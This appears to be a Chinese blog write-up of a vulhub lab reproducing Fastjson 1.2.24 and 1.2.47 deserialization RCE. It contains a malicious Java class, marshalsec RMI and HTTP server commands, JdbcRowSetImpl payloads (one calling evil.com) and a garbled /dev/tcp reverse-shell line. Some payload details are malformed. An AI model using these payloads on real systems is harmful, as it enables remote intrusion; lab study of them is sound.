vulhub漏洞复现十四_fastjson

前言

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

漏洞环境

靶  场:192.168.4.10_ubuntu

攻击机:192.168.4.29_kali

一、 fastjson 1.2.24 反序列化导致任意命令执行漏洞

漏洞详细

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

环境搭建

#docker-compose up -d

环境运行后,访问`http://your-ip:8090`即可看到JSON格式的输出。

 

我们向这个地址POST一个JSON对象,即可更新服务端的信息:

```

curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

```

可见服务端更新数据

制造POST数据包,dnslog测试

POST / HTTP/1.1

Host: 192.168.4.10:8090

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/json

Content-Length: 68

{"zeo":{"@type":"java.net.Inet4Address","val":"4tkywj.dnslog.cn"}}

 

 

漏洞复现

1.上传文件测试

1.1 编译恶意类exploit.jar,得到exploit.class,将两个文件放到VPS上同一个文件夹下

‘’’

import java.io.BufferedReader;

import java.io.InputStream;

import java.io.InputStreamReader;

public class Exploit{

    public Exploit() throws Exception {

        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /tmp/success666"});

        InputStream is = p.getInputStream();

        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;

        while((line = reader.readLine()) != null) {

            System.out.println(line);

        }

        p.waitFor();

        is.close();

        reader.close();

        p.destroy();

    }

    public static void main(String[] args) throws Exception {

    }

}

‘’’

 

1.2 在VPS上搭建http服务,就在fastjson文件下python3 -m http.server 11111

 

1.3 搭建RMI服务,使用 marshalsec-0.0.3-SNAPSHOT-all.jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.4.29:11111/#Exploit" 9999

 

1.4 提交payload(500则成功)

请求:

POST / HTTP/1.1

Host: 192.168.4.10:8090

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0

Connection: close

Content-Type: application/json

Content-Length: 139

{

  "b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://192.168.4.10:9999/Exploit",

 "autoCommit":true

 }

响应:

HTTP/1.1 500

Content-Type: application/json

Content-Length: 137

Date: Tue, 25 Jan 2022 03:13:49 GMT

Connection: close

{

"timestamp":1643080429838,

"status":500,

"error":"Internal Server Error",

"message":"set property error, autoCommit",

"path":"/"

}

成功收到

可见,命令`touch /tmp/success666`已成功执行:

 

2. 同理可制造反弹shell("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.4.10/19111 0>&1");

二、 Fastjson 1.2.47 远程命令执行漏洞

漏洞详情

fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

环境搭建

#docker-compose up -d

环境启动后,访问`http://your-ip:8090`即可看到一个json对象被返回,我们将content-type修改为`application/json`后可向其POST新的JSON对象,后端会利用fastjson进行解析。

 

漏洞复现

同上,最后提交更改payload

```

向靶场服务器发送Payload:

```

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://evil.com:9999/Exploit",

        "autoCommit":true

    }

}

```

 

可见,命令`touch /tmp/success666`已成功执行:

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值